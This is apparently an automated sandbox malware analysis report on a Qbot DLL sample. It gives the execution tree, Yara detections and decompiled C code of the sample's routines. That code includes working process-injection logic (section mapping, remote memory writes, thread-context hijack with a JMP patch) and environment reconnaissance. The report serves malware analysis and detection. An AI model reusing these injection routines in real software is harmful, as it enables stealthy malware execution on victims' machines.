Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5900, Parent PID: 5328

General

Target ID:	2
Start time:	17:39:51
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1
Imagebase:	0xb0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 5696, Parent PID: 5328

General

Target ID:	3
Start time:	17:39:51
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\pebbles.dat.dll
Imagebase:	0xae0000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000003.00000003.261366767.0000000000590000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000003.00000003.261366767.0000000000590000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000003.00000003.261366767.0000000000590000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5792, Parent PID: 5900

General

Target ID:	4
Start time:	17:39:51
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1
Imagebase:	0x170000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000004.00000003.261746477.0000000004430000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000004.00000003.261746477.0000000004430000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000004.00000003.261746477.0000000004430000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5784, Parent PID: 5328

General

Target ID:	5
Start time:	17:39:51
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\pebbles.dat.dll,DllRegisterServer
Imagebase:	0x170000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000005.00000003.261991952.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000005.00000003.261991952.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000005.00000003.261991952.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000005.00000002.268833263.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000005.00000002.268833263.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000005.00000002.268833263.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5360, Parent PID: 5328

General

Target ID:	6
Start time:	17:39:54
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\pebbles.dat.dll,DllUnregisterServer
Imagebase:	0x170000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: wermgr.exePID: 4884, Parent PID: 5792

General

Target ID:	7
Start time:	17:39:56
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\wermgr.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wermgr.exe
Imagebase:	0x1340000
File size:	191904 bytes
MD5 hash:	CCF15E662ED5CE77B5FF1A7AAE305233
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000007.00000002.270568639.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000007.00000002.270568639.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000007.00000002.270568639.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000007.00000000.268101186.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000007.00000000.268101186.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000007.00000000.268101186.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: wermgr.exePID: 612, Parent PID: 5784

General

Target ID:	8
Start time:	17:39:56
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\wermgr.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wermgr.exe
Imagebase:	0x1340000
File size:	191904 bytes
MD5 hash:	CCF15E662ED5CE77B5FF1A7AAE305233
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000008.00000000.268192549.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000008.00000000.268192549.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000008.00000000.268192549.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: wermgr.exePID: 3472, Parent PID: 5696

General

Target ID:	9
Start time:	17:39:56
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\wermgr.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wermgr.exe
Imagebase:	0x1340000
File size:	191904 bytes
MD5 hash:	CCF15E662ED5CE77B5FF1A7AAE305233
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000009.00000002.270604125.0000000000970000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000009.00000002.270604125.0000000000970000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000009.00000002.270604125.0000000000970000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000009.00000000.268299338.0000000000970000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Qbot_92c67a6d, Description: unknown, Source: 00000009.00000000.268299338.0000000000970000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Qbot_3074a8d4, Description: unknown, Source: 00000009.00000000.268299338.0000000000970000.00000040.80000000.00040000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5580, Parent PID: 5328

General

Target ID:	10
Start time:	17:39:57
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\pebbles.dat.dll,bewailable
Imagebase:	0x170000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: audiodg.exePID: 3472, Parent PID: 1640

General

Target ID:	33
Start time:	17:42:12
Start date:	03/10/2022
Path:	C:\Windows\System32\audiodg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\AUDIODG.EXE 0x2ac
Imagebase:	0x7ff724e50000
File size:	594128 bytes
MD5 hash:	0B245353F92DF527AA7613BA2C0DA023
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: regsvr32.exePID: 5696, Parent PID: 5328COMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	58

Executed Functions

Function 0099D538 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 223
nativeregistrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E0099D538(void* __ecx, intOrPtr __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				long _v28;
				short _v32;
				char _v36;
				intOrPtr* _v40;
				intOrPtr _v44;
				long _v48;
				void* _v52;
				void* _v53;
				char _v64;
				short _v68;
				struct _WNDCLASSEXA _v116;
				char _t81;
				intOrPtr* _t83;
				intOrPtr _t87;
				intOrPtr _t90;
				char _t97;
				short _t98;
				intOrPtr _t105;
				long _t107;
				char _t119;
				void* _t124;
				struct HWND__* _t132;
				void* _t138;
				void* _t147;
				void* _t154;
				intOrPtr _t155;
				intOrPtr _t157;
				void* _t158;
				void* _t163;
				void* _t165;

				_t81 =  *0x9af8d4; // 0x452fc00
				_t138 = 0;
				_v12 = __ecx;
				_t157 = __edx;
				_v20 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = 0;
				_v8 = 0;
				_v24 = 0;
				_v44 = __edx;
				if(( *(_t81 + 0x1898) & 0x00000040) != 0) {
					E0099F15B(0x1f4);
				}
				_t12 = _t157 + 0x3c; // 0x852c50ff
				_t83 =  *_t12 + _t157;
				_v28 = _t138;
				_v40 = _t83;
				if( *_t83 != 0x4550) {
					L14:
					_t158 = _v12;
					L15:
					if(_v8 != _t138) {
						_t90 =  *0x9af9d0; // 0x452fa00
						 *((intOrPtr*)(_t90 + 0x10))(_t158, _v8);
						_v8 = _t138;
					}
					L17:
					if(_v16 != 0) {
						_t87 =  *0x9af8d0; // 0x452f8c0
						NtUnmapViewOfSection( *((intOrPtr*)(_t87 + 0x12c))(), _v16);
					}
					if(_v20 != 0) {
						NtClose(_v20);
					}
					return _v8;
				}
				_v52 =  *((intOrPtr*)(_t83 + 0x50));
				if(NtCreateSection( &_v20, 0xe, _t138,  &_v52, 0x40, 0x8000000, _t138) < 0) {
					goto L14;
				}
				_t97 =  *"18293"; // 0x39323831
				_v36 = _t97;
				_t98 =  *0x9ace70; // 0x33
				_v32 = _t98;
				_v116.lpszClassName =  &_v64;
				asm("movsd");
				_v116.lpfnWndProc = DefWindowProcW;
				_v116.cbWndExtra = _t138;
				asm("movsd");
				_v116.style = 0xb;
				_v116.lpszMenuName = _t138;
				_v116.cbSize = 0x30;
				asm("movsb");
				_v116.cbClsExtra = _t138;
				_v116.hInstance = _t138;
				if(RegisterClassExA( &_v116) != 0) {
					_t132 = CreateWindowExA(_t138,  &_v64,  &_v36, 0xcf0000, 0x80000000, 0x80000000, 0x1f4, 0x64, _t138, _t138, _t138, _t138);
					if(_t132 != 0) {
						DestroyWindow(_t132);
						UnregisterClassA( &_v64, _t138);
					}
				}
				_t105 =  *0x9af8d0; // 0x452f8c0
				_t107 = NtMapViewOfSection(_v20,  *((intOrPtr*)(_t105 + 0x12c))(),  &_v16, _t138, _t138, _t138,  &_v24, 2, _t138, 0x40);
				_t158 = _v12;
				if(_t107 < 0 || NtMapViewOfSection(_v20, _t158,  &_v8, _t138, _t138, _t138,  &_v24, 2, _t138, 0x40) < 0) {
					goto L15;
				} else {
					_t154 = E00998E2E( *0x9af8d4, 0x1ac4);
					_v36 = _t154;
					if(_t154 == 0) {
						goto L15;
					}
					 *((intOrPtr*)(_t154 + 0x224)) = _v8;
					_t163 = VirtualAllocEx(_t158, _t138, 0x1ac4, 0x1000, 4);
					WriteProcessMemory(_v12, _t163, _t154, 0x1ac4,  &_v28);
					E00998DDF( &_v36, 0x1ac4);
					_t119 =  *0x9af8d4; // 0x452fc00
					_t155 =  *0x9af8e8; // 0x990000
					_v36 = _t119;
					 *0x9af8e8 = _v8;
					 *0x9af8d4 = _t163;
					E00998EA6(_v16, _v44,  *((intOrPtr*)(_v40 + 0x50)));
					E0099D4B7(_v16, _v8, _v44);
					_t124 = E0099A5D0("Jjischug");
					_v53 = _t138;
					_t147 = 0xf;
					if(_t124 > _t147) {
						do {
							L12:
							_t63 = _t138 + 0x41; // 0x41
							 *((char*)(_t165 + _t138 - 0x40)) = _t63;
							_t138 = _t138 + 1;
						} while (_t138 < _t147);
						L13:
						lstrlenW( &_v68);
						 *0x9af8e8 = _t155;
						 *0x9af8d4 = _v36;
						goto L17;
					}
					_t147 = _t124;
					if(_t147 == 0) {
						goto L13;
					}
					goto L12;
				}
			}

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APIs

NtCreateSection.NTDLL(0099DA07,0000000E,00000000,?,00000040,08000000,00000000,?), ref: 0099D5AA
RegisterClassExA.USER32(?), ref: 0099D5FE
CreateWindowExA.USER32 ref: 0099D629
DestroyWindow.USER32(00000000), ref: 0099D634
UnregisterClassA.USER32 ref: 0099D63F
NtMapViewOfSection.NTDLL(0099DA07,00000000), ref: 0099D66A
NtMapViewOfSection.NTDLL(0099DA07,00000000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 0099D691
VirtualAllocEx.KERNELBASE(00000000,00000000,00001AC4,00001000,00000004), ref: 0099D6D7
WriteProcessMemory.KERNELBASE(00000000,00000000,00000000,00001AC4,?), ref: 0099D6F1

Part of subcall function 00998DDF: HeapFree.KERNEL32(00000000,00000000), ref: 00998E25

lstrlenW.KERNEL32(?,?,?,?,?,?,00000000,00996297), ref: 0099D769
NtUnmapViewOfSection.NTDLL(00000000), ref: 0099D7B1
NtClose.NTDLL(00000000), ref: 0099D7C5

Strings

Jjischug, xrefs: 0099D73C
18293, xrefs: 0099D5B5
0, xrefs: 0099D5F0
aeroflot, xrefs: 0099D5C0

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: Section$View$ClassCreateWindow$AllocCloseDestroyFreeHeapMemoryProcessRegisterUnmapUnregisterVirtualWritelstrlen
String ID: 0$18293$Jjischug$aeroflot
API String ID: 494031690-3772587274
Opcode ID: 8107dfc178fe32ce91920b3658d792e857edc3456d9da6fa0936f7eff64be523
Instruction ID: 10ca021678b6ea6aefaf286b704ae999149804fc848d9c320a0714be5cb57935
Opcode Fuzzy Hash: 8107dfc178fe32ce91920b3658d792e857edc3456d9da6fa0936f7eff64be523
Instruction Fuzzy Hash: FC8115B5A11219AFDB10DFD8DC84AAEBBF8FF09744F14406AE505A7260D774AD00DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0099DFC2 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0099DFC2(void* __fp0) {
				char _v8;
				char _v12;
				char _v16;
				char _v144;
				char _v656;
				char _v668;
				char _v2644;
				void* __esi;
				struct _OSVERSIONINFOA* _t68;
				intOrPtr _t70;
				void* _t71;
				intOrPtr _t73;
				void* _t74;
				intOrPtr _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t81;
				intOrPtr _t87;
				int _t90;
				intOrPtr _t92;
				void* _t93;
				void* _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				short _t106;
				char _t108;
				intOrPtr _t113;
				intOrPtr _t116;
				intOrPtr _t119;
				intOrPtr _t123;
				intOrPtr _t134;
				intOrPtr _t136;
				intOrPtr _t138;
				intOrPtr _t141;
				intOrPtr _t143;
				intOrPtr _t148;
				void* _t149;
				WCHAR* _t150;
				char* _t151;
				intOrPtr _t162;
				intOrPtr _t177;
				void* _t191;
				struct _OSVERSIONINFOA* _t192;
				void* _t193;
				void* _t195;
				char _t198;
				void* _t199;
				char* _t200;
				void* _t203;
				int* _t204;
				void* _t216;

				_t216 = __fp0;
				_t148 =  *0x9af8e8; // 0x990000
				_t68 = E00998DC9(0x1ac4);
				_t192 = _t68;
				if(_t192 != 0) {
					 *((intOrPtr*)(_t192 + 0x1640)) = GetCurrentProcessId();
					_t70 =  *0x9af8d0; // 0x452f8c0
					_t71 =  *((intOrPtr*)(_t70 + 0xac))(_t193);
					_t3 = _t192 + 0x648; // 0x648
					E009A35A9( *((intOrPtr*)(_t192 + 0x1640)) + _t71, _t3);
					_t73 =  *0x9af8d0; // 0x452f8c0
					_t5 = _t192 + 0x1644; // 0x1644
					_t194 = _t5;
					_t74 =  *((intOrPtr*)(_t73 + 0x128))(0, _t5, 0x105);
					_t207 = _t74;
					if(_t74 != 0) {
						 *((intOrPtr*)(_t192 + 0x1854)) = E009997E9(_t194, _t207);
					}
					_t75 =  *0x9af8d0; // 0x452f8c0
					_t77 = E0099CA0A( *((intOrPtr*)(_t75 + 0x12c))()); // executed
					 *((intOrPtr*)(_t192 + 0x110)) = _t77;
					_t159 =  *_t77;
					if(E0099CB85( *_t77) == 0) {
						_t79 = E0099CA5A(_t159, _t194); // executed
						__eflags = _t79;
						_t162 = (0 | _t79 > 0x00000000) + 1;
						__eflags = _t162;
						 *((intOrPtr*)(_t192 + 0x214)) = _t162;
					} else {
						 *((intOrPtr*)(_t192 + 0x214)) = 3;
					}
					_t14 = _t192 + 0x220; // 0x220, executed
					_t80 = E0099F3A0(_t14); // executed
					 *((intOrPtr*)(_t192 + 0x218)) = _t80;
					_t81 = E0099F365(_t14); // executed
					 *((intOrPtr*)(_t192 + 0x21c)) = _t81;
					_t17 = _t192 + 0x114; // 0x114
					_t195 = _t17;
					 *((intOrPtr*)(_t192 + 0x224)) = _t148;
					_push( &_v16);
					_v12 = 0x80;
					_push( &_v8);
					_v8 = 0x100;
					_push( &_v656);
					_push( &_v12);
					_push(_t195);
					_push( *((intOrPtr*)( *((intOrPtr*)(_t192 + 0x110)))));
					_t87 =  *0x9af8d8; // 0x452fab0
					_push(0); // executed
					if( *((intOrPtr*)(_t87 + 0x6c))() == 0) {
						GetLastError();
					}
					_t90 = GetSystemMetrics(0x1000);
					_t28 = _t192 + 0x228; // 0x228
					_t149 = _t28;
					 *(_t192 + 0x1850) = 0 | _t90 > 0x00000000;
					E0099DFBB(_t149); // executed
					_t211 = _t149;
					if(_t149 != 0) {
						 *((intOrPtr*)(_t192 + 0x434)) = E009997E9(_t149, _t211);
					}
					_t92 = E0099C85A();
					_t33 = _t192 + 0xb0; // 0xb0
					_t196 = _t33;
					 *((intOrPtr*)(_t192 + 0xac)) = _t92;
					_t93 = E0099C64D(_t92, _t33, _t211, _t216);
					_t35 = _t192 + 0xd0; // 0xd0
					E00999BD5(_t93, _t33, _t35);
					_t36 = _t192 + 0x438; // 0x438
					E00999803(_t149, _t36);
					_t97 = E0099E34A(_t196, E0099A5D0(_t33), 0);
					_t37 = _t192 + 0x100c; // 0x100c
					E0099C870(_t97, _t37, _t216);
					_t99 =  *0x9af8d0; // 0x452f8c0
					_t101 = E0099CBD7( *((intOrPtr*)(_t99 + 0x12c))(_t195)); // executed
					 *((intOrPtr*)(_t192 + 0x101c)) = _t101;
					E00998F63(_t192, 0, 0x9c);
					_t204 = _t203 + 0xc;
					_t192->dwOSVersionInfoSize = 0x9c;
					GetVersionExA(_t192);
					 *((intOrPtr*)(_t192 + 0xa8)) = E0099DDBE(_t100);
					_t106 = E0099DDE7(_t105);
					_t41 = _t192 + 0x1020; // 0x1020
					_t150 = _t41;
					 *((short*)(_t192 + 0x9c)) = _t106;
					GetWindowsDirectoryW(_t150, 0x104);
					_t108 = E00999F85(_t105, 0xf73);
					_t177 =  *0x9af8d0; // 0x452f8c0
					_t198 = _t108;
					 *_t204 = 0x104;
					_push( &_v668);
					_push(_t198);
					_v8 = _t198;
					if( *((intOrPtr*)(_t177 + 0xec))() == 0) {
						_t143 =  *0x9af8d0; // 0x452f8c0
						 *((intOrPtr*)(_t143 + 0x108))(_t198, _t150);
					}
					E00998D9A( &_v8);
					_t113 =  *0x9af8d0; // 0x452f8c0
					_t48 = _t192 + 0x1434; // 0x1434
					_t199 = _t48;
					 *_t204 = 0x209;
					_push(_t199);
					_push(L"USERPROFILE");
					if( *((intOrPtr*)(_t113 + 0xec))() == 0) {
						E00999FE4(_t199, 0x105, L"%s\\%s", _t150);
						_t141 =  *0x9af8d0; // 0x452f8c0
						_t204 =  &(_t204[5]);
						 *((intOrPtr*)(_t141 + 0x108))(L"USERPROFILE", _t199, "TEMP");
					}
					_push(0x20a);
					_t51 = _t192 + 0x122a; // 0x122a
					_t151 = L"TEMP";
					_t116 =  *0x9af8d0; // 0x452f8c0
					_push(_t151);
					if( *((intOrPtr*)(_t116 + 0xec))() == 0) {
						_t138 =  *0x9af8d0; // 0x452f8c0
						 *((intOrPtr*)(_t138 + 0x108))(_t151, _t199);
					}
					_push(0x40);
					_t200 = L"SystemDrive";
					_push( &_v144);
					_t119 =  *0x9af8d0; // 0x452f8c0
					_push(_t200);
					if( *((intOrPtr*)(_t119 + 0xec))() == 0) {
						_t136 =  *0x9af8d0; // 0x452f8c0
						 *((intOrPtr*)(_t136 + 0x108))(_t200, L"C:");
					}
					_v8 = 0x7f;
					_t59 = _t192 + 0x199c; // 0x199c
					_t123 =  *0x9af8d0; // 0x452f8c0
					 *((intOrPtr*)(_t123 + 0xbc))(_t59,  &_v8);
					_t62 = _t192 + 0x100c; // 0x100c
					E009A35A9(E0099E34A(_t62, E0099A5D0(_t62), 0),  &_v2644);
					_t63 = _t192 + 0x1858; // 0x1858
					E009A357B( &_v2644, _t63, 0x20);
					_push( &_v2644);
					_push(0x1e);
					_t66 = _t192 + 0x1878; // 0x1878
					_t191 = 0x14;
					E009998D0(_t66, _t191);
					_t134 = E0099DB68(_t191); // executed
					 *((intOrPtr*)(_t192 + 0x1898)) = _t134;
					return _t192;
				}
				return _t68;
			}

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APIs

Part of subcall function 00998DC9: RtlAllocateHeap.NTDLL(00000008,?,?,00999793,00000100,?,0099661B), ref: 00998DD7

GetCurrentProcessId.KERNEL32 ref: 0099DFE9
GetLastError.KERNEL32 ref: 0099E0E3
GetSystemMetrics.USER32(00001000), ref: 0099E0F3
GetVersionExA.KERNEL32(00000000), ref: 0099E1A8

Part of subcall function 0099CA5A: FindCloseChangeNotification.KERNELBASE(?,00001644,00000000,00990000), ref: 0099CAFE

GetWindowsDirectoryW.KERNEL32(00001020,00000104), ref: 0099E1D3

Strings

SystemDrive, xrefs: 0099E29F, 0099E2AA, 0099E2BF
%s\%s, xrefs: 0099E245
USERPROFILE, xrefs: 0099E230, 0099E25E
TEMP, xrefs: 0099E274, 0099E27F, 0099E290
TEMP, xrefs: 0099E23F

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

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Similarity

API ID: AllocateChangeCloseCurrentDirectoryErrorFindHeapLastMetricsNotificationProcessSystemVersionWindows
String ID: %s\%s$SystemDrive$TEMP$TEMP$USERPROFILE
API String ID: 3131805607-2706916422
Opcode ID: ee876f40c2b865be8ba3e9b29a8a3d1ce0e0f88a8456c2d05261417abc3da434
Instruction ID: 61968d8127c8ca164bb16f926e8daa30c827cc8abf89c4ffe0667ae65810118e
Opcode Fuzzy Hash: ee876f40c2b865be8ba3e9b29a8a3d1ce0e0f88a8456c2d05261417abc3da434
Instruction Fuzzy Hash: B0915C71700605AFDB04EBB8DC49FEAB7E8FF49300F044169F51AD7291EB74AA448BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0099D9DE Relevance: 6.1, APIs: 4, Instructions: 89
nativethreadCOMMON

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C-Code - Quality: 100%

			E0099D9DE(void* __ecx, void** __edx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v23;
				void _v24;
				long _v28;
				struct _CONTEXT _v744;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				void* _t57;
				long _t59;
				void* _t62;
				void** _t65;
				void* _t66;

				_t65 = __edx;
				_t57 = __ecx;
				_t66 = 0;
				if(E0099D309(__ecx, __edx, __edx, 0) != 0) {
					_t33 = E0099D538( *((intOrPtr*)(__edx)), _a4); // executed
					_t66 = _t33;
					if(_t66 != 0) {
						E00998F63( &_v744, 0, 0x2cc);
						_v744.ContextFlags = 0x10002;
						if(GetThreadContext(_t65[1],  &_v744) != 0) {
							_t62 = _v744.Eax;
							_v12 = _v12 & 0x00000000;
							_v24 = 0xe9;
							_t59 = 5;
							_v23 = _t66 - _t62 - _a4 + _t57 + 0xfffffffb;
							_v8 = _t59;
							_v16 = _t62;
							if(NtProtectVirtualMemory( *_t65,  &_v16,  &_v8, 4,  &_v12) < 0 || NtWriteVirtualMemory( *_t65, _v744.Eax,  &_v24, _t59,  &_v8) < 0) {
								L6:
								_t66 = 0;
							} else {
								_v28 = _v28 & 0x00000000;
								if(NtProtectVirtualMemory( *_t65,  &_v16,  &_v8, _v12,  &_v28) < 0) {
									goto L6;
								}
							}
						}
					}
				}
				E0099D47C();
				return _t66;
			}

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APIs

Part of subcall function 0099D309: LoadLibraryW.KERNEL32 ref: 0099D403

Part of subcall function 0099D538: NtCreateSection.NTDLL(0099DA07,0000000E,00000000,?,00000040,08000000,00000000,?), ref: 0099D5AA
Part of subcall function 0099D538: RegisterClassExA.USER32(?), ref: 0099D5FE
Part of subcall function 0099D538: CreateWindowExA.USER32 ref: 0099D629
Part of subcall function 0099D538: DestroyWindow.USER32(00000000), ref: 0099D634
Part of subcall function 0099D538: UnregisterClassA.USER32 ref: 0099D63F

Part of subcall function 00998F63: memset.MSVCRT ref: 00998F75

GetThreadContext.KERNELBASE(?,00010002,00000000,00000000,00000000), ref: 0099DA40
NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 0099DA89
NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 0099DAA6
NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 0099DAC7

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: MemoryVirtual$ClassCreateProtectWindow$ContextDestroyLibraryLoadRegisterSectionThreadUnregisterWritememset
String ID:
API String ID: 1578692462-0
Opcode ID: 9e5f3597e710433b88ea0a5f435dd26dc97998060794dcb93ce1f4b91dbbb2fe
Instruction ID: c4c74def684ccc4da16d018582cd3906b91093928ab971b2fd584a87e7e99ab3
Opcode Fuzzy Hash: 9e5f3597e710433b88ea0a5f435dd26dc97998060794dcb93ce1f4b91dbbb2fe
Instruction Fuzzy Hash: 2A313E72A0211AAFDB11DFA8CD85FEEBBBCEF48310F1441A6A505E2160D730EA14CB94

Uniqueness

